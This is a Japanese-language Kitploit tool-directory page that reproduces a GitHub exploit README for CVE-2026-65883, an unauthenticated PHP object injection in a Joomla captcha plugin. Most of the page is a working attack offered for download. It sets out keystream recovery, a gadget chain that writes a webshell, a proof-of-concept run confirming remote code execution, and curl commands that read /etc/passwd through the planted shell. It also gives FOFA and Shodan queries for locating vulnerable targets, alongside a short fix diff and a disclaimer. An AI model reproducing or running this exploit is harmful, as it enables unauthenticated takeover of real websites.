Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-65883 — Aimy Captcha-Less Form Guard Joomlaコンポーネント PHPオブジェクトインジェクションRCE。clfgd XORキーストリーム復元 + unserialize()。CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
ツール/GitHubGitHub/shinthink/cve-2026-65883
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストレッドチーミング
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Aimy Captcha-Less Form Guard Joomlaコンポーネント PHPオブジェクトインジェクションRCE。clfgd XORキーストリーム復元 + unserialize()。CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

リポジトリを見る
451ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

clfgdフィールド → XOR復元 → unserialize() → FormattedtextLogger → RCE


概要

Joomla用Aimy Captcha-Less Form Guardにおける認証なしPHPオブジェクトインジェクション。onCheckAnswer()メソッドは、攻撃者が制御するclfgd POSTフィールドをbase64デコードし、繰り返しキーXORを適用して、その結果を直接unserialize()に渡します — HMACなし、allowed_classes制限なし、整合性チェックなしです。


影響を受けるバージョン

ステータスバージョン
脆弱性あり18.0 — 20.0
修正済み20.1 (2026年7月29日)

脆弱性のメカニズム

根本原因

plg_captcha_aimycaptchalessformguard内のonCheckAnswer()メソッドは、攻撃者が制御する入力を直接unserialize()に渡します:

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

XOR「暗号化」は、セッションごとのキーを使用したヴィジュネル暗号です — 認証はなく、難読化のみです。

壊れた暗号化

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

キーストリームの復元

このプラグインは暗号文と平文の両方を同じHTMLレスポンス内に出力します:

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

trap_ids(<span id="..._mark">とハニーポット入力から抽出可能)と暗号文の両方がHTML内に存在するため、これらをXORすることで231バイトのキーストリームのうち約94バイトが復元されます。

攻撃フロー

  1. キャプチャ保護された任意のフォーム(登録、ログイン、問い合わせ、パスワードリセット)にGETする
  2. clfgd暗号文とtrap_ids、タイミングを抽出 → 94バイトのキーストリームを復元
  3. 構造バイトが既知のキーストリーム位置に一致するようにFormattedtextLoggerシリアライズオブジェクトを整列
  4. 細工したclfgdをPOST → unserialize() → __destruct() → formatLine() → PHPウェブシェルを書き込み
  5. /random.php?c=idにGET → www-dataとしてRCE

概念実証

単一ターゲット

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

手動エクスプロイト

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

修正 (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode()はPHPオブジェクトをインスタンス化できません — POPガジェットチェーンが切断されます。


影響

  • 完全なRCE — www-dataとして任意のコマンドを実行可能
  • 認証は不要 — キャプチャ付きの公開フォームはすべて攻撃ベクトル
  • Joomla 3.9–5.2.1 — FormattedtextLoggerガジェットは全バージョンで動作
  • 永続的 — ウェブシェルは手動で削除されるまで残り続ける

免責事項

このツールは教育目的および許可を得たセキュリティテスト専用です。自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。


参考文献


Aimy ExtensionsおよびVulnCheckとは提携していません。

ツールをダウンロード
フィールド詳細
CVECVE-2026-65883
製品Aimy Captcha-Less Form Guard (Joomlaプラグイン)
CVSS 4.010.0 (Critical)
タイプCWE-502 — 信頼できないデータのデシリアライゼーション
影響を受けるバージョン18.0 — 20.0
修正済みバージョン20.1 (2026年7月29日)
発見者Valentin Lobstein (Chocapikk) / VulnCheck — 2026年7月26日
リソースリンク
VulnCheckブログvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
IONIX Threat Centerionix.io/threat-center/cve-2026-65883
CVEレコードcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883